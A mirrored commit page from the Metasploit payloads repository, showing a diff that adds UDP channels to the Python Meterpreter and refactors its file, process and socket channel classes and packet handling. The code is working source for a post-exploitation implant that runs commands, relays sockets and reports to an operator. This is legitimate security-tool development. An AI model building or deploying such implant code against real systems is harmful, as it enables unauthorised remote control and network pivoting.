mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
Land #276, add UDP channel support to Python meterpreter
This commit is contained in:
commit
5f09a324bf
@ -871,7 +871,7 @@ def channel_open_stdapi_net_tcp_client(request, response):
|
||||
pass
|
||||
if not connected:
|
||||
return ERROR_CONNECTION_ERROR, response
|
||||
channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock))
|
||||
channel_id = meterpreter.add_channel(MeterpreterSocketTCPClient(sock))
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@ -883,7 +883,19 @@ def channel_open_stdapi_net_tcp_server(request, response):
|
||||
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
server_sock.bind((local_host, local_port))
|
||||
server_sock.listen(socket.SOMAXCONN)
|
||||
channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock))
|
||||
channel_id = meterpreter.add_channel(MeterpreterSocketTCPServer(server_sock))
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@register_function
|
||||
def channel_open_stdapi_net_udp_client(request, response):
|
||||
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
|
||||
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT).get('value', 0)
|
||||
peer_host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
|
||||
peer_port = packet_get_tlv(request, TLV_TYPE_PEER_PORT).get('value', 0)
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.bind((local_host, local_port))
|
||||
channel_id = meterpreter.add_channel(MeterpreterSocketUDPClient(sock, (peer_host, peer_port)))
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@ -1006,7 +1018,7 @@ def stdapi_sys_process_execute(request, response):
|
||||
response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
|
||||
response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
|
||||
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
|
||||
channel_id = meterpreter.add_channel(proc_h)
|
||||
channel_id = meterpreter.add_channel(MeterpreterProcess(proc_h))
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@ -1686,7 +1698,7 @@ def stdapi_net_socket_tcp_shutdown(request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
|
||||
channel = meterpreter.channels[channel_id]
|
||||
channel.shutdown(how)
|
||||
channel.sock.shutdown(how)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _linux_get_maps():
|
||||
|
@ -377,38 +377,167 @@ def tlv_pack(*args):
|
||||
return data
|
||||
|
||||
@export
|
||||
def tlv_pack_response(result, response):
|
||||
response += tlv_pack(TLV_TYPE_RESULT, result)
|
||||
response = struct.pack('>I', len(response) + 4) + response
|
||||
return response
|
||||
def tlv_pack_request(method, parts=None):
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, method)
|
||||
pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
|
||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||
parts = parts or []
|
||||
for part in parts:
|
||||
pkt += tlv_pack(part['type'], part['value'])
|
||||
return pkt
|
||||
|
||||
#@export
|
||||
class MeterpreterFile(object):
|
||||
class MeterpreterChannel(object):
|
||||
def core_close(self, request, response):
|
||||
self.close()
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def core_eof(self, request, response):
|
||||
response += tlv_pack(TLV_TYPE_BOOL, self.eof())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def core_read(self, request, response):
|
||||
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, self.read(length))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def core_write(self, request, response):
|
||||
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
|
||||
response += tlv_pack(TLV_TYPE_LENGTH, self.write(channel_data))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def close(self):
|
||||
raise NotImplementedError()
|
||||
|
||||
def eof(self):
|
||||
return False
|
||||
|
||||
def is_alive(self):
|
||||
return True
|
||||
|
||||
def notify(self):
|
||||
return None
|
||||
|
||||
def read(self, length):
|
||||
raise NotImplementedError()
|
||||
|
||||
def write(self, data):
|
||||
raise NotImplementedError()
|
||||
|
||||
#@export
|
||||
class MeterpreterFile(MeterpreterChannel):
|
||||
def __init__(self, file_obj):
|
||||
self.file_obj = file_obj
|
||||
super(MeterpreterFile, self).__init__()
|
||||
|
||||
def __getattr__(self, name):
|
||||
return getattr(self.file_obj, name)
|
||||
def close(self):
|
||||
self.file_obj.close()
|
||||
|
||||
def eof(self):
|
||||
return self.file_obj.tell() >= os.fstat(self.file_obj.fileno()).st_size
|
||||
|
||||
def read(self, length):
|
||||
return self.file_obj.read(length)
|
||||
|
||||
def write(self, data):
|
||||
self.file_obj.write(data)
|
||||
return len(data)
|
||||
export(MeterpreterFile)
|
||||
|
||||
#@export
|
||||
class MeterpreterSocket(object):
|
||||
class MeterpreterProcess(MeterpreterChannel):
|
||||
def __init__(self, proc_h):
|
||||
self.proc_h = proc_h
|
||||
super(MeterpreterProcess, self).__init__()
|
||||
|
||||
def close(self):
|
||||
self.proc_h.kill()
|
||||
|
||||
def is_alive(self):
|
||||
return self.proc_h.poll() is None
|
||||
|
||||
def read(self, length):
|
||||
data = ''
|
||||
stdout_reader = self.proc_h.stdout_reader
|
||||
if stdout_reader.is_read_ready():
|
||||
data = stdout_reader.read(length)
|
||||
return data
|
||||
|
||||
def write(self, data):
|
||||
self.proc_h.write(data)
|
||||
return len(data)
|
||||
export(MeterpreterProcess)
|
||||
|
||||
#@export
|
||||
class MeterpreterSocket(MeterpreterChannel):
|
||||
def __init__(self, sock):
|
||||
self.sock = sock
|
||||
self._is_alive = True
|
||||
super(MeterpreterSocket, self).__init__()
|
||||
|
||||
def __getattr__(self, name):
|
||||
return getattr(self.sock, name)
|
||||
def core_write(self, request, response):
|
||||
try:
|
||||
status, response = super(MeterpreterSocket, self).core_write(request, response)
|
||||
except socket.error:
|
||||
self.close()
|
||||
self._is_alive = False
|
||||
status = ERROR_FAILURE
|
||||
return status, response
|
||||
|
||||
def close(self):
|
||||
return self.sock.close()
|
||||
|
||||
def fileno(self):
|
||||
return self.sock.fileno()
|
||||
|
||||
def is_alive(self):
|
||||
return self._is_alive
|
||||
|
||||
def read(self, length):
|
||||
return self.sock.recv(length)
|
||||
|
||||
def write(self, data):
|
||||
return self.sock.send(data)
|
||||
export(MeterpreterSocket)
|
||||
|
||||
#@export
|
||||
class MeterpreterSocketClient(MeterpreterSocket):
|
||||
class MeterpreterSocketTCPClient(MeterpreterSocket):
|
||||
pass
|
||||
export(MeterpreterSocketClient)
|
||||
export(MeterpreterSocketTCPClient)
|
||||
|
||||
#@export
|
||||
class MeterpreterSocketServer(MeterpreterSocket):
|
||||
class MeterpreterSocketTCPServer(MeterpreterSocket):
|
||||
pass
|
||||
export(MeterpreterSocketServer)
|
||||
export(MeterpreterSocketTCPServer)
|
||||
|
||||
#@export
|
||||
class MeterpreterSocketUDPClient(MeterpreterSocket):
|
||||
def __init__(self, sock, peer_address):
|
||||
super(MeterpreterSocketUDPClient, self).__init__(sock)
|
||||
self.peer_address = peer_address
|
||||
|
||||
def core_write(self, request, response):
|
||||
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
|
||||
peer_host = packet_get_tlv(request, TLV_TYPE_PEER_HOST).get('value', self.peer_address[0])
|
||||
peer_port = packet_get_tlv(request, TLV_TYPE_PEER_PORT).get('value', self.peer_address[1])
|
||||
try:
|
||||
length = self.sock.sendto(channel_data, (peer_host, peer_port))
|
||||
except socket.error:
|
||||
self.close()
|
||||
self._is_alive = False
|
||||
status = ERROR_FAILURE
|
||||
else:
|
||||
response += tlv_pack(TLV_TYPE_LENGTH, length)
|
||||
status = ERROR_SUCCESS
|
||||
return status, response
|
||||
|
||||
def read(self, length):
|
||||
return self.sock.recvfrom(length)[0]
|
||||
|
||||
def write(self, data):
|
||||
self.sock.sendto(data, self.peer_address)
|
||||
export(MeterpreterSocketUDPClient)
|
||||
|
||||
class STDProcessBuffer(threading.Thread):
|
||||
def __init__(self, std, is_alive):
|
||||
@ -451,14 +580,17 @@ class STDProcess(subprocess.Popen):
|
||||
subprocess.Popen.__init__(self, *args, **kwargs)
|
||||
self.echo_protection = False
|
||||
|
||||
def is_alive(self):
|
||||
return self.poll() is None
|
||||
|
||||
def start(self):
|
||||
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
|
||||
self.stdout_reader = STDProcessBuffer(self.stdout, self.is_alive)
|
||||
self.stdout_reader.start()
|
||||
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
|
||||
self.stderr_reader = STDProcessBuffer(self.stderr, self.is_alive)
|
||||
self.stderr_reader.start()
|
||||
|
||||
def write(self, channel_data):
|
||||
self.stdin.write(channel_data)
|
||||
length = self.stdin.write(channel_data)
|
||||
self.stdin.flush()
|
||||
if self.echo_protection:
|
||||
end_time = time.time() + 0.5
|
||||
@ -468,6 +600,7 @@ class STDProcess(subprocess.Popen):
|
||||
out_data = self.stdout_reader.peek(len(channel_data))
|
||||
if out_data == channel_data:
|
||||
self.stdout_reader.read(len(channel_data))
|
||||
return length
|
||||
export(STDProcess)
|
||||
|
||||
class Transport(object):
|
||||
@ -573,6 +706,7 @@ class Transport(object):
|
||||
return result
|
||||
|
||||
def send_packet(self, pkt):
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.request_retire = False
|
||||
try:
|
||||
self._send_packet(self.encrypt_packet(pkt))
|
||||
@ -827,7 +961,9 @@ class PythonMeterpreter(object):
|
||||
return func
|
||||
|
||||
def add_channel(self, channel):
|
||||
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket)))
|
||||
if not isinstance(channel, MeterpreterChannel):
|
||||
debug_print('[-] channel object is not an instance of MeterpreterChannel')
|
||||
raise TypeError('invalid channel object')
|
||||
idx = self.next_channel_id
|
||||
self.channels[idx] = channel
|
||||
debug_print('[*] added channel id: ' + str(idx) + ' type: ' + channel.__class__.__name__)
|
||||
@ -902,69 +1038,72 @@ class PythonMeterpreter(object):
|
||||
self._transport_sleep = None
|
||||
if not self.transport.activate():
|
||||
self.transport_change()
|
||||
continue
|
||||
continue
|
||||
# iterate over the keys because self.channels could be modified if one is closed
|
||||
channel_ids = list(self.channels.keys())
|
||||
for channel_id in channel_ids:
|
||||
channel = self.channels[channel_id]
|
||||
data = bytes()
|
||||
if isinstance(channel, STDProcess):
|
||||
write_request_parts = []
|
||||
if isinstance(channel, MeterpreterProcess):
|
||||
if not channel_id in self.interact_channels:
|
||||
continue
|
||||
if channel.stderr_reader.is_read_ready():
|
||||
data = channel.stderr_reader.read()
|
||||
elif channel.stdout_reader.is_read_ready():
|
||||
data = channel.stdout_reader.read()
|
||||
elif channel.poll() != None:
|
||||
proc_h = channel.proc_h
|
||||
if proc_h.stderr_reader.is_read_ready():
|
||||
data = proc_h.stderr_reader.read()
|
||||
elif proc_h.stdout_reader.is_read_ready():
|
||||
data = proc_h.stdout_reader.read()
|
||||
elif not channel.is_alive():
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
elif isinstance(channel, MeterpreterSocketClient):
|
||||
elif isinstance(channel, MeterpreterSocketTCPClient):
|
||||
while select.select([channel.fileno()], [], [], 0)[0]:
|
||||
try:
|
||||
d = channel.recv(1)
|
||||
d = channel.read(1)
|
||||
except socket.error:
|
||||
d = bytes()
|
||||
if len(d) == 0:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
break
|
||||
data += d
|
||||
elif isinstance(channel, MeterpreterSocketServer):
|
||||
elif isinstance(channel, MeterpreterSocketTCPServer):
|
||||
if select.select([channel.fileno()], [], [], 0)[0]:
|
||||
(client_sock, client_addr) = channel.accept()
|
||||
server_addr = channel.getsockname()
|
||||
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
|
||||
pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
|
||||
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
|
||||
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
|
||||
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
|
||||
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.send_packet(pkt)
|
||||
(client_sock, client_addr) = channel.sock.accept()
|
||||
server_addr = channel.sock.getsockname()
|
||||
client_channel_id = self.add_channel(MeterpreterSocketTCPClient(client_sock))
|
||||
self.send_packet(tlv_pack_request('tcp_channel_open', [
|
||||
{'type': TLV_TYPE_CHANNEL_ID, 'value': client_channel_id},
|
||||
{'type': TLV_TYPE_CHANNEL_PARENTID, 'value': channel_id},
|
||||
{'type': TLV_TYPE_LOCAL_HOST, 'value': inet_pton(channel.sock.family, server_addr[0])},
|
||||
{'type': TLV_TYPE_LOCAL_PORT, 'value': server_addr[1]},
|
||||
{'type': TLV_TYPE_PEER_HOST, 'value': inet_pton(client_sock.family, client_addr[0])},
|
||||
{'type': TLV_TYPE_PEER_PORT, 'value': client_addr[1]},
|
||||
]))
|
||||
elif isinstance(channel, MeterpreterSocketUDPClient):
|
||||
if select.select([channel.fileno()], [], [], 0)[0]:
|
||||
try:
|
||||
data, peer_address = channel.sock.recvfrom(65535)
|
||||
except socket.error:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
else:
|
||||
write_request_parts.extend([
|
||||
{'type': TLV_TYPE_PEER_HOST, 'value': peer_address[0]},
|
||||
{'type': TLV_TYPE_PEER_PORT, 'value': peer_address[1]},
|
||||
])
|
||||
if data:
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
||||
pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
|
||||
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
|
||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.send_packet(pkt)
|
||||
write_request_parts.extend([
|
||||
{'type': TLV_TYPE_CHANNEL_ID, 'value': channel_id},
|
||||
{'type': TLV_TYPE_CHANNEL_DATA, 'value': data},
|
||||
{'type': TLV_TYPE_LENGTH, 'value': len(data)},
|
||||
])
|
||||
self.send_packet(tlv_pack_request('core_channel_write', write_request_parts))
|
||||
|
||||
def handle_dead_resource_channel(self, channel_id):
|
||||
del self.channels[channel_id]
|
||||
if channel_id in self.interact_channels:
|
||||
self.interact_channels.remove(channel_id)
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close')
|
||||
pkt += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
|
||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.send_packet(pkt)
|
||||
self.send_packet(tlv_pack_request('core_channel_close', [
|
||||
{'type': TLV_TYPE_CHANNEL_ID, 'value': channel_id},
|
||||
]))
|
||||
|
||||
def _core_set_uuid(self, request, response):
|
||||
new_uuid = packet_get_tlv(request, TLV_TYPE_UUID)
|
||||
@ -1060,7 +1199,7 @@ class PythonMeterpreter(object):
|
||||
def _core_transport_change(self, request, response):
|
||||
new_transport = Transport.from_request(request)
|
||||
self.transport_add(new_transport)
|
||||
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
|
||||
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
|
||||
self.transport_change(new_transport)
|
||||
return None
|
||||
|
||||
@ -1079,7 +1218,7 @@ class PythonMeterpreter(object):
|
||||
new_transport = self.transport_next()
|
||||
if new_transport == self.transport:
|
||||
return ERROR_FAILURE, response
|
||||
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
|
||||
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
|
||||
self.transport_change(new_transport)
|
||||
return None
|
||||
|
||||
@ -1087,7 +1226,7 @@ class PythonMeterpreter(object):
|
||||
new_transport = self.transport_prev()
|
||||
if new_transport == self.transport:
|
||||
return ERROR_FAILURE, response
|
||||
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
|
||||
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
|
||||
self.transport_change(new_transport)
|
||||
return None
|
||||
|
||||
@ -1127,7 +1266,7 @@ class PythonMeterpreter(object):
|
||||
|
||||
def _core_transport_sleep(self, request, response):
|
||||
seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value']
|
||||
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
|
||||
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
|
||||
if seconds:
|
||||
self._transport_sleep = seconds
|
||||
return ERROR_SUCCESS, response
|
||||
@ -1136,7 +1275,9 @@ class PythonMeterpreter(object):
|
||||
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
||||
handler = 'channel_open_' + channel_type['value']
|
||||
if handler not in self.extension_functions:
|
||||
debug_print('[-] core_channel_open missing handler: ' + handler)
|
||||
return error_result(NotImplementedError), response
|
||||
debug_print('[*] core_channel_open dispatching to handler: ' + handler)
|
||||
handler = self.extension_functions[handler]
|
||||
return handler(request, response)
|
||||
|
||||
@ -1145,31 +1286,23 @@ class PythonMeterpreter(object):
|
||||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
if isinstance(channel, subprocess.Popen):
|
||||
channel.kill()
|
||||
elif isinstance(channel, MeterpreterFile):
|
||||
channel.close()
|
||||
elif isinstance(channel, MeterpreterSocket):
|
||||
channel.close()
|
||||
else:
|
||||
return ERROR_FAILURE, response
|
||||
del self.channels[channel_id]
|
||||
if channel_id in self.interact_channels:
|
||||
self.interact_channels.remove(channel_id)
|
||||
debug_print('[*] closed and removed channel id: ' + str(channel_id))
|
||||
return ERROR_SUCCESS, response
|
||||
status, response = channel.core_close(request, response)
|
||||
if status == ERROR_SUCCESS:
|
||||
del self.channels[channel_id]
|
||||
if channel_id in self.interact_channels:
|
||||
self.interact_channels.remove(channel_id)
|
||||
debug_print('[*] closed and removed channel id: ' + str(channel_id))
|
||||
return status, response
|
||||
|
||||
def _core_channel_eof(self, request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
result = False
|
||||
if isinstance(channel, MeterpreterFile):
|
||||
result = channel.tell() >= os.fstat(channel.fileno()).st_size
|
||||
response += tlv_pack(TLV_TYPE_BOOL, result)
|
||||
status, response = channel.core_eof(request, response)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
|
||||
def _core_channel_interact(self, request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
if channel_id not in self.channels:
|
||||
@ -1187,67 +1320,42 @@ class PythonMeterpreter(object):
|
||||
|
||||
def _core_channel_read(self, request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
||||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
data = ''
|
||||
if isinstance(channel, STDProcess):
|
||||
if channel.poll() != None:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
if channel.stdout_reader.is_read_ready():
|
||||
data = channel.stdout_reader.read(length)
|
||||
elif isinstance(channel, MeterpreterFile):
|
||||
data = channel.read(length)
|
||||
elif isinstance(channel, MeterpreterSocket):
|
||||
data = channel.recv(length)
|
||||
else:
|
||||
return ERROR_FAILURE, response
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
|
||||
return ERROR_SUCCESS, response
|
||||
status, response = channel.core_read(request, response)
|
||||
if not channel.is_alive():
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
return status, response
|
||||
|
||||
def _core_channel_write(self, request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
|
||||
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
||||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
l = len(channel_data)
|
||||
if isinstance(channel, subprocess.Popen):
|
||||
if channel.poll() != None:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
return ERROR_FAILURE, response
|
||||
channel.write(channel_data)
|
||||
elif isinstance(channel, MeterpreterFile):
|
||||
channel.write(channel_data)
|
||||
elif isinstance(channel, MeterpreterSocket):
|
||||
try:
|
||||
l = channel.send(channel_data)
|
||||
except socket.error:
|
||||
channel.close()
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
return ERROR_FAILURE, response
|
||||
else:
|
||||
return ERROR_FAILURE, response
|
||||
response += tlv_pack(TLV_TYPE_LENGTH, l)
|
||||
return ERROR_SUCCESS, response
|
||||
status = ERROR_FAILURE
|
||||
if channel.is_alive():
|
||||
status, response = channel.core_write(request, response)
|
||||
# evaluate channel.is_alive() twice because it could have changed
|
||||
if not channel.is_alive():
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
return status, response
|
||||
|
||||
def create_response(self, request):
|
||||
resp = struct.pack('>I', PACKET_TYPE_RESPONSE)
|
||||
response = struct.pack('>I', PACKET_TYPE_RESPONSE)
|
||||
method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
|
||||
resp += tlv_pack(method_tlv)
|
||||
resp += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
|
||||
response += tlv_pack(method_tlv)
|
||||
response += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
|
||||
|
||||
handler_name = method_tlv['value']
|
||||
if handler_name in self.extension_functions:
|
||||
handler = self.extension_functions[handler_name]
|
||||
try:
|
||||
debug_print('[*] running method ' + handler_name)
|
||||
result = handler(request, resp)
|
||||
result = handler(request, response)
|
||||
if result is None:
|
||||
return
|
||||
result, resp = result
|
||||
result, response = result
|
||||
except Exception:
|
||||
debug_traceback('[-] method ' + handler_name + ' resulted in an error')
|
||||
result = error_result()
|
||||
@ -1261,8 +1369,8 @@ class PythonMeterpreter(object):
|
||||
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
||||
if not reqid_tlv:
|
||||
return
|
||||
resp += tlv_pack(reqid_tlv)
|
||||
return tlv_pack_response(result, resp)
|
||||
response += tlv_pack(reqid_tlv)
|
||||
return response + tlv_pack(TLV_TYPE_RESULT, result)
|
||||
|
||||
_try_to_fork = TRY_TO_FORK and hasattr(os, 'fork')
|
||||
if not _try_to_fork or (_try_to_fork and os.fork() == 0):
|
||||
|
Loading…
Reference in New Issue
Block a user